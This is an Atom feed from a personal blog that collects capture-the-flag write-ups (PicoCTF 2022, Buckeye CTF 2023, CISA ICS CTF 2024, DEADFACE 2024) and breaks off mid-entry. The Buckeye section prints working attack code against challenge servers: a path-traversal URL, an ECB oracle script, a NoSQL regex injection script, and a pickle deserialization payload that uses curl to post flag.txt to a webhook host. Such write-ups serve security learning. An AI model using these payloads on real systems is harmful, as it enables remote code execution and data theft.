<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
	<title>Cramik</title>
	<subtitle></subtitle>
	
	<link href="https://cramik.github.io/feed/feed.xml" rel="self"/>
	<link href="https://cramik.github.io"/>
	<updated>2026-06-13T00:00:00+00:00</updated>
	<id>https://cramik.github.io/</id>
	<author>
		<name>Cramik</name>
		<email></email>
	</author>
	
	<entry>
		<title>PicoCTF 2022 Wizardlike &quot;Unique Solution&quot;</title>
		<link href="https://cramik.github.io/posts/picoctf-2022-wizardlike-unique/"/>
		<updated>2023-01-16T00:00:00+00:00</updated>
		<id>https://cramik.github.io/posts/picoctf-2022-wizardlike-unique/</id>
		<content type="html">
		  &lt;p&gt;An arguably lazy solution to Wizardlike&lt;/p&gt;
&lt;p&gt;Requirements:&lt;br&gt;
Cheat Engine/Lunar Engine&lt;br&gt;
ceserver for linux&lt;br&gt;
Some decompiler&lt;/p&gt;
&lt;p&gt;I&#39;m lazy and cheat in videos games so my first intuition was to find the x and y coord values in lunar engine and set these to complete the challenges. You can do this by searching for an all type unknown value and re-searching for when you expect it to change (when you move) and when you don&#39;t expect it to change (standing still) to find the correct values. Doing this provides us with two 4 byte values at game+132F70 and game+132F74 (x, y).&lt;/p&gt;
&lt;p&gt;However, after doing this and getting through the first couple of levels it becomes apparent that the ctf writer predicted this and made difficult to navigate levels with hidden objects to prevent this.&lt;/p&gt;
&lt;p&gt;In order to find the hidden objects, you are expected to reverse the function for revealing hidden blocks. One way to do this is to start out by using Lunar Engine again to search for unknown value, this time being some block&#39;s visibility. I ended up finding a 4 byte value at game+136E4C.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/wizardlike-blockvisibility.webp&quot; alt=&quot;Screenshot of Lunar Engine Table&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;p&gt;Furthering this path, we can connect Lunar Engine&#39;s debugger via the &amp;quot;Find out what access this address&amp;quot; feature in order to find the instructions involved in revealing the block, 00402A0E for setting it to visible and 00401E82 for setting it to not visible.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/wizardlike-whataccesses.webp&quot; alt=&quot;Screenshot of the What Accesses Table&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;p&gt;From here, you can go to your decompiler in order to find the instruction at 00402A0E and the decompiled code for it. Doing this, we see that there is &amp;quot;else if&amp;quot; logic that checks whether the block is already visible and whether a function returns true. We can assume that this function likely is a check for visibility or choose to further read other parts of the code to discern the logic.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/wizardlike-ifelse.webp&quot; alt=&quot;Screenshot of the decompiled if else statement in IDA Pro&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;p&gt;When we view the function, we can spot that there are only two sections where the function returns 0, making the block not visible. The instruction addresses for these two return values are 0000210A and 0000204A. We can go back to Lunar Engine, go to its Memory View, find the instruction using Ctrl+G and game+204A, and double click the instruction to patch it live with the value of 1.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/wizardlike-idareturn.webp&quot; alt=&quot;Screenshot of the return calls in IDA Pro&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/wizardlike-patch-one.webp&quot; alt=&quot;Screenshot of finding the address in Lunar Engine&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/wizardlike-patch-two.webp&quot; alt=&quot;Screenshot of patched code in Lunar Engine&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;p&gt;Finally, we can check our work by moving around and find the entire map we are on is now visible. This allows us to go between the levels now and view the flag, picoCTF{ur_4_w1z4rd_8F4B04AE} (for an added bonus you can also find the 4 byte map value to avoid having to walk in-between levels)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/wizardlike-level8.webp&quot; alt=&quot;Screenshot of level 8&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/wizardlike-level2.webp&quot; alt=&quot;Screenshot of level 2&quot; width=&quot;600&quot;&gt;&lt;/p&gt;

		</content>
	</entry>
	
	<entry>
		<title>CSAW CTF 2023</title>
		<link href="https://cramik.github.io/posts/csaw-ctf-2023/"/>
		<updated>2023-09-15T00:00:00+00:00</updated>
		<id>https://cramik.github.io/posts/csaw-ctf-2023/</id>
		<content type="html">
		  
		</content>
	</entry>
	
	<entry>
		<title>Buckeye CTF 2023</title>
		<link href="https://cramik.github.io/posts/buckeye-ctf-2023/"/>
		<updated>2023-10-02T00:00:00+00:00</updated>
		<id>https://cramik.github.io/posts/buckeye-ctf-2023/</id>
		<content type="html">
		  &lt;h2 id=&quot;stray&quot;&gt;Stray &lt;a class=&quot;direct-link&quot; href=&quot;#stray&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I wrote down this was a javascript type pollution LFI&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://stray.chall.pwnoh.io/cat?category%5B%5D=../flag.txt&quot;&gt;https://stray.chall.pwnoh.io/cat?category[]=../flag.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;bctf{j4v45cr1p7_15_4_6r347_l4n6u463}&lt;/p&gt;
&lt;h2 id=&quot;electronical&quot;&gt;Electronical &lt;a class=&quot;direct-link&quot; href=&quot;#electronical&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did this one in three parts since my script was broken but still solved it. Even the official solution for this one said &amp;quot;solve script doesn&#39;t entirely work but mostly&amp;quot;&lt;/p&gt;
&lt;h3 id=&quot;script1&quot;&gt;Script1 &lt;a class=&quot;direct-link&quot; href=&quot;#script1&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import string
import requests

zeros=11
payload=&amp;quot;bctf&amp;quot;
while zeros!=0:
    goal=requests.get(&amp;quot;https://electronical.chall.pwnoh.io/encrypt?message=&amp;quot;+&#39;0&#39;*zeros).text[:32]
    print(&amp;quot;Goal = &amp;quot;, goal)
    for char in string.printable:
        print(&#39;0&#39;*zeros+payload+char)
        check=requests.get(&amp;quot;https://electronical.chall.pwnoh.io/encrypt?message=&amp;quot;+&#39;0&#39;*zeros+payload+char).text[:32]
        print(&amp;quot;Check = &amp;quot;, check)
        if (check==goal):
            print(&amp;quot;Correct&amp;quot;)
            payload+=char
            zeros-=1
            break
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;script2&quot;&gt;Script2 &lt;a class=&quot;direct-link&quot; href=&quot;#script2&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import string
import requests

zeros=16
payload=&amp;quot;bctf{1_c4n7_b3l&amp;quot;
while zeros!=0:
    goal=requests.get(&amp;quot;https://electronical.chall.pwnoh.io/encrypt?message=&amp;quot;+&#39;0&#39;*zeros).text[32:64]
    print(&amp;quot;Goal = &amp;quot;, goal)
    for char in string.printable:
        print(&#39;0&#39;*zeros+payload+char)
        check=requests.get(&amp;quot;https://electronical.chall.pwnoh.io/encrypt?message=&amp;quot;+&#39;0&#39;*zeros+payload+char).text[32:64]
        print(&amp;quot;Check = &amp;quot;, check)
        if (check==goal):
            print(&amp;quot;Correct&amp;quot;)
            payload+=char
            break
    zeros-=1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;script3&quot;&gt;Script3 &lt;a class=&quot;direct-link&quot; href=&quot;#script3&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import string
import requests

zeros=16
payload=&amp;quot;bctf{1_c4n7_b3l13v3_u_f0und_my_&amp;quot;
while zeros!=0:
    goal=requests.get(&amp;quot;https://electronical.chall.pwnoh.io/encrypt?message=&amp;quot;+&#39;0&#39;*zeros).text[64:96]
    print(&amp;quot;Goal = &amp;quot;, goal)
    for char in string.printable:
        print(&#39;0&#39;*zeros+payload+char)
        check=requests.get(&amp;quot;https://electronical.chall.pwnoh.io/encrypt?message=&amp;quot;+&#39;0&#39;*zeros+payload+char).text[64:96]
        print(&amp;quot;Check = &amp;quot;, check)
        if (check==goal):
            print(&amp;quot;Correct&amp;quot;)
            payload+=char
            break
    zeros-=1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;area51&quot;&gt;Area51 &lt;a class=&quot;direct-link&quot; href=&quot;#area51&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Abusing NoSQL injection. See &lt;a href=&quot;https://portswigger.net/web-security/nosql-injection&quot;&gt;https://portswigger.net/web-security/nosql-injection&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import string

success=len(requests.get(&amp;quot;https://area51.chall.pwnoh.io/&amp;quot;,cookies={&amp;quot;session&amp;quot;:&amp;quot;{&#92;&amp;quot;token&#92;&amp;quot;:{&#92;&amp;quot;$regex&#92;&amp;quot;:&#92;&amp;quot;&amp;quot;+password+&amp;quot;.*&#92;&amp;quot;}}&amp;quot;}).content)
keyspace=string.ascii_letters+string.digits+&amp;quot;_&amp;quot;+&amp;quot;{&amp;quot;+&amp;quot;}&amp;quot;
password=&amp;quot;bctf&amp;quot;
while(password[-1]!=&#39;}&#39;):
     for char in keyspace:
             print(password+char)
             if(len(requests.get(&amp;quot;https://area51.chall.pwnoh.io/&amp;quot;,cookies={&amp;quot;session&amp;quot;:&amp;quot;{&#92;&amp;quot;token&#92;&amp;quot;:{&#92;&amp;quot;$regex&#92;&amp;quot;:&#92;&amp;quot;&amp;quot;+password+char+&amp;quot;.*&#92;&amp;quot;}}&amp;quot;}).content)==success): 
                 password+=char
                 break
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;text-adventure-api&quot;&gt;Text Adventure API &lt;a class=&quot;direct-link&quot; href=&quot;#text-adventure-api&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Only slightly different from official solution. Save pickle is loaded on the server allowing RCE via python reduce&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class test:
  def __reduce__(self):
             import subprocess
             return subprocess.check_output, ([&amp;quot;curl&amp;quot;,&amp;quot;-d&amp;quot;,&amp;quot;@flag.txt&amp;quot;,&amp;quot;https://webhook.site/d5092a4a-c837-495e-b231-1511bcdaddae&amp;quot;],)
pickle.dump(test(),open(&#39;C:/Users/Cramik/Desktop/payload5.pkl&#39;,&#39;wb&#39;))
&lt;/code&gt;&lt;/pre&gt;

		</content>
	</entry>
	
	<entry>
		<title>CISA ICS CTF 2024</title>
		<link href="https://cramik.github.io/posts/cisa-ics-2024/"/>
		<updated>2024-09-01T00:00:00+00:00</updated>
		<id>https://cramik.github.io/posts/cisa-ics-2024/</id>
		<content type="html">
		  &lt;h2 id=&quot;extend-your-stay---1&quot;&gt;Extend Your Stay - 1 &lt;a class=&quot;direct-link&quot; href=&quot;#extend-your-stay---1&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;crx files are chrome extensions that are basically just zip files. We can open it up, go to background.js and we&#39;ll see some code at the bottom:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// This will execute when the extension is first installed
chrome.runtime.onInstalled.addListener(() =&amp;gt; {
    var val = &amp;quot;ZmxhZ3toeXAzcjN4dDNuZDNkfQ==&amp;quot;;
    console.log(&amp;quot;NO MORE RODENTS!!!!!!!!!!&amp;quot;);
    console.log(atob(val));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;val is a base64 encoded string that decodes to &amp;quot;flag{hyp3r3xt3nd3d}&amp;quot;&lt;/p&gt;
&lt;h2 id=&quot;extend-your-stay---2&quot;&gt;Extend Your Stay - 2 &lt;a class=&quot;direct-link&quot; href=&quot;#extend-your-stay---2&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This part is included in the obfuscated part since it is malicious, we dont actually have to deobfuscate we can just start base64 decoding random base64 strings until we find  aHR0cHM6Ly93d3cuZmVsbHN3YXJnby5jb20v == &lt;a href=&quot;https://www.fellswargo.com/&quot;&gt;https://www.fellswargo.com/&lt;/a&gt; which matches the challenge prompt&lt;/p&gt;
&lt;h2 id=&quot;mission%3A-inconceivable---1&quot;&gt;Mission: Inconceivable - 1 &lt;a class=&quot;direct-link&quot; href=&quot;#mission%3A-inconceivable---1&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://postalpro.usps.com/ppro-tools/encoder-decoder&quot;&gt;https://postalpro.usps.com/ppro-tools/encoder-decoder&lt;/a&gt;&lt;br&gt;
DAFFFDDFTTFATDTDFFDTDAFADAATFATDTADTAFFDDTDTTADFDTTFDDAFAFFAFTATT&lt;br&gt;
Chicago&lt;/p&gt;
&lt;h2 id=&quot;mission%3A-inconceivable---2&quot;&gt;Mission: Inconceivable - 2 &lt;a class=&quot;direct-link&quot; href=&quot;#mission%3A-inconceivable---2&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;quot;Using the information you know about the attackers, especially their culinary tastes, can you identify the BSSID (the access point&#39;s MAC address) for their hideout&#39;s WiFi network?&amp;quot;&lt;br&gt;
8A:9C:67:46:08:B1&lt;br&gt;
41.67711639,-107.9834137,Bringmetacosplease,0,20230701-00000,2023-07-01T14:00:00.000Z,2023-08-26T05:00:00.000Z,2023-08-26T05:00:00.000Z,8A:9C:67:46:08:B1,,infra,,2,0,?,?,?,False,11,,wpa2,US,WY,Carlton Road,,,&lt;/p&gt;
&lt;h2 id=&quot;read-askew-manuscripts---1&quot;&gt;Read Askew Manuscripts - 1 &lt;a class=&quot;direct-link&quot; href=&quot;#read-askew-manuscripts---1&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;volatility.exe printkey -f memdump_fewer_images_test1.raw -K Software&#92;ACME_XRay&lt;br&gt;
ZmxhZ3tmMzNsMW5nX3YwbEB0MWwzfQ==&lt;br&gt;
flag{f33l1ng_v0l@t1l3}&lt;/p&gt;
&lt;h2 id=&quot;read-askew-manuscripts---2&quot;&gt;Read Askew Manuscripts - 2 &lt;a class=&quot;direct-link&quot; href=&quot;#read-askew-manuscripts---2&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;C:&#92;Users&#92;Cramik&#92;Downloads&#92;memdump.raw&amp;gt;volatility.exe notepad -f memdump_fewer_images_test1.raw&lt;br&gt;
Volatility Foundation Volatility Framework 2.6&lt;br&gt;
Process: 172&lt;br&gt;
Text:&lt;br&gt;
Dear friend,&lt;/p&gt;
&lt;p&gt;Thank you for supporting this mission. Well, not like you really had a choice :)&lt;/p&gt;
&lt;p&gt;Upload the patient&#39;s image using the link below. Do not upload any other patients. And do not get the wrong patient. I am out of patience.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ev1lf1lestorage.info/?directory=images&amp;amp;user=ominousnoteperson&amp;amp;passB64=aWxpa2V3cml0aW5nb21pbm91c25vdGVz&amp;amp;login=true&quot;&gt;https://www.ev1lf1lestorage.info/?directory=images&amp;amp;user=ominousnoteperson&amp;amp;passB64=aWxpa2V3cml0aW5nb21pbm91c25vdGVz&amp;amp;login=true&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If necessary, you can use this flash drive to extract the image, but ONLY if the cloud storage doesn&#39;t work. And I know it works so don&#39;t pull any funny business.&lt;/p&gt;
&lt;p&gt;Drop this flash drive at ///trips.pistons.huffs when you&#39;re done. If you see a man with an accordion, run.&lt;/p&gt;
&lt;p&gt;See you never,&lt;/p&gt;
&lt;p&gt;The Ominous Note Writer&lt;/p&gt;
&lt;p&gt;P.S. If you get hungry on this mission, you&#39;re on your own. Bring a snack and just Eat It.&lt;/p&gt;
&lt;p&gt;ilikewritingominousnotes&lt;/p&gt;
&lt;h2 id=&quot;read-askew-manuscripts---3&quot;&gt;Read Askew Manuscripts - 3 &lt;a class=&quot;direct-link&quot; href=&quot;#read-askew-manuscripts---3&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;C:&#92;Users&#92;Cramik&#92;Downloads&#92;memdump.raw&amp;gt;volatility.exe iehistory -f memdump_fewer_images_test1.raw&lt;br&gt;
Volatility Foundation Volatility Framework 2.6&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Process: 1588 explorer.exe&lt;br&gt;
Cache type &amp;quot;DEST&amp;quot; at 0x21b1e2d&lt;br&gt;
Last modified: 2024-04-11 11:42:52 UTC+0000&lt;br&gt;
Last accessed: 2024-04-11 17:42:54 UTC+0000&lt;br&gt;
URL: Administrator@file:///E:/Phoenix_Wright.png&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Process: 1588 explorer.exe&lt;br&gt;
Cache type &amp;quot;DEST&amp;quot; at 0x21cea1d&lt;br&gt;
Last modified: 2024-04-11 11:42:52 UTC+0000&lt;br&gt;
Last accessed: 2024-04-11 17:42:54 UTC+0000&lt;br&gt;
URL: Administrator@file:///E:/Phoenix_Wright.png&lt;/p&gt;
&lt;h2 id=&quot;read-askew-manuscripts---4&quot;&gt;Read Askew Manuscripts - 4 &lt;a class=&quot;direct-link&quot; href=&quot;#read-askew-manuscripts---4&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://steemit.com/security/@nybble/forensic-extracting-files-from-mft-table-with-volatility-part-2-en&quot;&gt;https://steemit.com/security/@nybble/forensic-extracting-files-from-mft-table-with-volatility-part-2-en&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;C:&#92;Users&#92;Cramik&#92;Downloads&#92;memdump.raw&amp;gt;volatility.exe filescan -f memdump_fewer_images_test1.raw | grep Phoenix&lt;br&gt;
Volatility Foundation Volatility Framework 2.6&lt;br&gt;
0x00000000096959b0      1      0 RW-rw- &#92;Device&#92;HarddiskVolume1&#92;Documents and Settings&#92;Administrator&#92;Recent&#92;Phoenix_Wright.lnk&lt;br&gt;
0x0000000009769228      1      0 R--r-- &#92;Device&#92;DP(1)0-0+3&#92;Phoenix_Wright.png&lt;br&gt;
0x000000000978c820      1      0 R--r-- &#92;Device&#92;HarddiskVolume1&#92;Documents and Settings&#92;Administrator&#92;Desktop&#92;patient_images&#92;Phoenix_Wright.png&lt;/p&gt;
&lt;p&gt;C:&#92;Users&#92;Cramik&#92;Downloads&#92;memdump.raw&amp;gt;volatility.exe dumpfiles -Q 0x0000000009769228 -D files/ -u -n -f memdump_fewer_images_test1.raw&lt;br&gt;
Volatility Foundation Volatility Framework 2.6&lt;br&gt;
DataSectionObject 0x09769228   None   &#92;Device&#92;DP(1)0-0+3&#92;Phoenix_Wright.png&lt;/p&gt;
&lt;h2 id=&quot;follow-the-charts---3&quot;&gt;Follow the Charts - 3 &lt;a class=&quot;direct-link&quot; href=&quot;#follow-the-charts---3&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The malicious application is a notes to bash converter. The main function for decoding is &amp;quot;decodechart.&amp;quot; Reversing is an option, but would be hard considering the amount of xors, bitwise operations, and subfuctions. Instead, we can use a sandbox like app.any.run just to see what commands it runs and we&#39;ll see &amp;quot;sh -c &amp;quot;#flag{W31C0Me_t0_tH3_JUn6L3} echo &amp;quot;Finished updating clone hero charts :)&amp;quot;&amp;quot;&amp;quot;&lt;/p&gt;
&lt;h2 id=&quot;introduction-to-malcolm---8&quot;&gt;Introduction to Malcolm - 8 &lt;a class=&quot;direct-link&quot; href=&quot;#introduction-to-malcolm---8&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;destination.port&amp;gt;60000 AND source.port&amp;gt;60000&lt;br&gt;
include the network.community_id field on the left side&lt;/p&gt;
&lt;h2 id=&quot;introduction-to-malcolm---9&quot;&gt;Introduction to Malcolm - 9 &lt;a class=&quot;direct-link&quot; href=&quot;#introduction-to-malcolm---9&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;communityId==&amp;quot;1:lkHwtdagxh1Nv9QKO2SuVdVkQ0I=&amp;quot;&lt;/p&gt;
&lt;h2 id=&quot;learning-to-drift---1&quot;&gt;Learning to DRIFT - 1 &lt;a class=&quot;direct-link&quot; href=&quot;#learning-to-drift---1&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;packet 6 PLC -&amp;gt; HMI NEW-CONNECTION-RESPONSE&lt;br&gt;
000c = length&lt;br&gt;
01 = message code (NEW-CONNECTION)&lt;br&gt;
00 = respone code&lt;br&gt;
61cb506b8ff1b477 = Partial AES&lt;/p&gt;
&lt;p&gt;The first encrypted command sent by the HMI in this capture is a Read-Sensor command. What was the responded current-value of that sensor (sensor id is 100)?&lt;/p&gt;
&lt;p&gt;packet 8 HMI -&amp;gt; PLC READ-SENSOR-REQUEST&lt;br&gt;
001a = length&lt;br&gt;
a9de4b26a71f6989 = partial aes key&lt;br&gt;
6d21595f8c02ffad25b55ed49a4a3d8e&lt;/p&gt;
&lt;p&gt;Create a cyberchef recipe:&lt;br&gt;
AES_Decrypt({&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;61cb506b8ff1b477a9de4b26a71f6989&#39;},{&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;&#39;},&#39;ECB&#39;,&#39;Hex&#39;,&#39;Raw&#39;,{&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;&#39;},{&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;&#39;})&lt;br&gt;
To_Hex(&#39;Space&#39;,0)&lt;/p&gt;
&lt;p&gt;Decrypt 6d21595f8c02ffad25b55ed49a4a3d8e&lt;/p&gt;
&lt;p&gt;Output:&lt;br&gt;
03 - Message code (READ-SENSOR)&lt;br&gt;
64 - Sensor ID&lt;/p&gt;
&lt;p&gt;Packet 9 PLC -&amp;gt; HMI READ-SENSOR-RESPONSE&lt;br&gt;
001a = length&lt;br&gt;
9191c45d7fe2ddca = partial aes key&lt;br&gt;
39f35ca00eb0ada6c29996f1bf9eb2e7&lt;/p&gt;
&lt;p&gt;AES_Decrypt({&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;61cb506b8ff1b4779191c45d7fe2ddca&#39;},{&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;&#39;},&#39;ECB&#39;,&#39;Hex&#39;,&#39;Raw&#39;,{&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;&#39;},{&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;&#39;})&lt;br&gt;
To_Hex(&#39;Space&#39;,0)&lt;br&gt;
Decrypt 39f35ca00eb0ada6c29996f1bf9eb2e7&lt;/p&gt;
&lt;p&gt;Output:&lt;br&gt;
03 = message code&lt;br&gt;
00 = response code&lt;br&gt;
64 = sensor id&lt;br&gt;
00 00 02 06 = value&lt;br&gt;
0206 hex to decimal is 518&lt;/p&gt;
&lt;p&gt;Bulk Recipe:&lt;br&gt;
Drop_bytes(0,4,false)&lt;br&gt;
Register(&#39;(^.{16})&#39;,true,false,false)&lt;br&gt;
Drop_bytes(0,16,false)&lt;br&gt;
AES_Decrypt({&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;9bc665880b5df8fc$R0&#39;},{&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;&#39;},&#39;ECB&#39;,&#39;Hex&#39;,&#39;Raw&#39;,{&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;&#39;},{&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;&#39;})&lt;br&gt;
To_Hex(&#39;Space&#39;,0)&lt;/p&gt;
&lt;p&gt;Sensor request: 001a0a6f538822259c7390a6e5d86712724891d7549593f8ff95&lt;br&gt;
06 = message code&lt;br&gt;
06 = count&lt;br&gt;
64 65 66 67 68 69 = sensor ids&lt;/p&gt;
&lt;p&gt;Sensor Response:&lt;br&gt;
06 = message code&lt;br&gt;
00 = response code&lt;br&gt;
06 = sensor count&lt;br&gt;
Sensor ranges:&lt;br&gt;
64 00 00 01 e0 00 00 02 3a 00 00 01 c2 00 00 02 58 65 00 00 01 9a 00 00 01 ea 00 00 01 90 00 00 01 f4 66 00 00 00 41 00 00 00 4b 00 00 00 3c 00 00 00 50 67 00 00 00 41 00 00 00 4b 00 00 00 3c 00 00 00 50 68 00 00 00 41 00 00 00 4b 00 00 00 3c 00 00 00 50 69 00 00 00 41 00 00 00 4b 00 00 00 3c 00 00 00 50&lt;/p&gt;
&lt;p&gt;Each sensor range is 17 bytes:&lt;br&gt;
64000001e00000023a000001c200000258&lt;br&gt;
650000019a000001ea00000190000001f4&lt;br&gt;
66000000410000004b0000003c00000050&lt;br&gt;
67000000410000004b0000003c00000050&lt;br&gt;
68000000410000004b0000003c00000050&lt;br&gt;
69000000410000004b0000003c00000050&lt;/p&gt;
&lt;p&gt;Break up each sensor range to ID and ranges&lt;br&gt;
64 = Sensor ID&lt;br&gt;
000001e0 = WARNING-LOW&lt;br&gt;
0000023a = WARNING-HIGH&lt;br&gt;
000001c2 = ALERT-LOW&lt;br&gt;
00000258 = ALERT-HIGH&lt;/p&gt;
&lt;p&gt;Alarms (3rd TCP session):&lt;br&gt;
001a8ddec2027f0172a440e2a3c789beff16e77009c9c5213c1f - GET-ALARM-REQUEST (0x07)&lt;/p&gt;
&lt;p&gt;001a64314cb84d00addee6843f0381d1db25da6b2506dd76f524 - GET-ALARMS-RESPONSE&lt;/p&gt;
&lt;p&gt;Decrypts to:&lt;br&gt;
07 - Message code&lt;br&gt;
00 - Response code&lt;br&gt;
02 - Alarm Count&lt;br&gt;
Alarm Data:&lt;br&gt;
66 - Sensor ID&lt;br&gt;
a0 - Alarm Code (WARNING: LOW)&lt;br&gt;
0000003f - Value = 63&lt;/p&gt;
&lt;p&gt;6b - Sensor ID&lt;br&gt;
b1 - Alarm Code (ALERT: HIGH)&lt;br&gt;
0000041a - Value = 1050&lt;/p&gt;
&lt;h2 id=&quot;a-timely-attack&quot;&gt;A Timely Attack &lt;a class=&quot;direct-link&quot; href=&quot;#a-timely-attack&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import subprocess
import string
import time

# Base string to start with
test_string = [&amp;quot;0&amp;quot;]*8
best_char = &#39;&#39;
keyspace = string.digits+string.ascii_lowercase

for i in range(len(test_string)):
	max_time = -1
	second_best = -1
	best_char = &#39;&#39;
	
	for char in keyspace:
		test_string[i]=char
		
		start_time = time.time()

		for _ in range(1): subprocess.run([&amp;quot;./time_attack1&amp;quot;, &#39;&#39;.join(test_string)], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

		elapsed_time = time.time() - start_time
		print(f&amp;quot;{char} - {elapsed_time}&amp;quot;)
		if elapsed_time &amp;gt; max_time:
			second_best = max_time
			max_time = elapsed_time
			best_char = char
	test_string[i]=best_char
	print(f&amp;quot;Found {best_char} {(max_time/second_best-1)} Current best string: {&#39;&#39;.join(test_string)}, elapsed time: {max_time}&amp;quot;)

# Final string after all iterations
print(f&amp;quot;Final string: {test_string}&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{1t_0Nly_T@k3s_4_l3ttlE_T!mE}&lt;/p&gt;

		</content>
	</entry>
	
	<entry>
		<title>DEADFACE CTF 2024</title>
		<link href="https://cramik.github.io/posts/deadface-ctf-2024/"/>
		<updated>2024-10-18T00:00:00+00:00</updated>
		<id>https://cramik.github.io/posts/deadface-ctf-2024/</id>
		<content type="html">
		  &lt;p&gt;It took me like 15 minutes to figure out what CTF these notes were for because I never labelled them and half of these challenges don&#39;t show up when you google them.&lt;/p&gt;
&lt;h2 id=&quot;something-in-the-dark&quot;&gt;Something in the Dark &lt;a class=&quot;direct-link&quot; href=&quot;#something-in-the-dark&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Category: Steg&lt;br&gt;
The challenge links an image of a tweet talking about flashing &amp;quot;RED GREEN BLUE&amp;quot; and another image. First instinct is using a tool like stegsolver to view the various planes (alpha, red, green, blue) both visually and as data. Going through each plan visually we can spot text on Red Plane 1 saying &amp;quot;flag{ar3_we_410N3??}&amp;quot;&lt;/p&gt;
&lt;h2 id=&quot;price-check&quot;&gt;Price Check &lt;a class=&quot;direct-link&quot; href=&quot;#price-check&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Category: Steg&lt;br&gt;
The challenge gives us a csv with a hint to &amp;quot;scan.&amp;quot; Looking at the csv it is a 29x29 matrix of numbers from 0-255 (denoting a byte, and potentially a color if you get what I&#39;m going with). These two things sound a lot like 29x29 node QR code. I don&#39;t believe there is any software to translate this file format and I don&#39;t have pillow memorized, so I decided to have chatgpt do it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;See the following:
# CSV to Image Conversion

#### You:
I have a csv file denoting a 29x29 black and white image ie 255,255,0,255&#92;n0,255... can you write a python script to convert it to an image

#### ChatGPT:
Sure! Below is a Python script that reads a CSV file representing a 29x29 black and white image and converts it into an image using the `Pillow` library. The assumption is that values in the CSV represent pixel intensities (0 for black, 255 for white):

&#92;```python
import csv
from PIL import Image
import numpy as np

# Load the CSV file
csv_file = &#39;your_file.csv&#39;  # Replace with your CSV file path
output_image = &#39;output_image.png&#39;  # Replace with desired output image name

# Read the CSV file
with open(csv_file, newline=&#39;&#39;) as f:
    reader = csv.reader(f)
    data = list(reader)

# Convert the CSV data to a numpy array
image_data = np.array(data, dtype=np.uint8)

# Reshape into a 29x29 array
image_data = image_data.reshape((29, 29))

# Create an image from the numpy array
image = Image.fromarray(image_data)

# Save the image
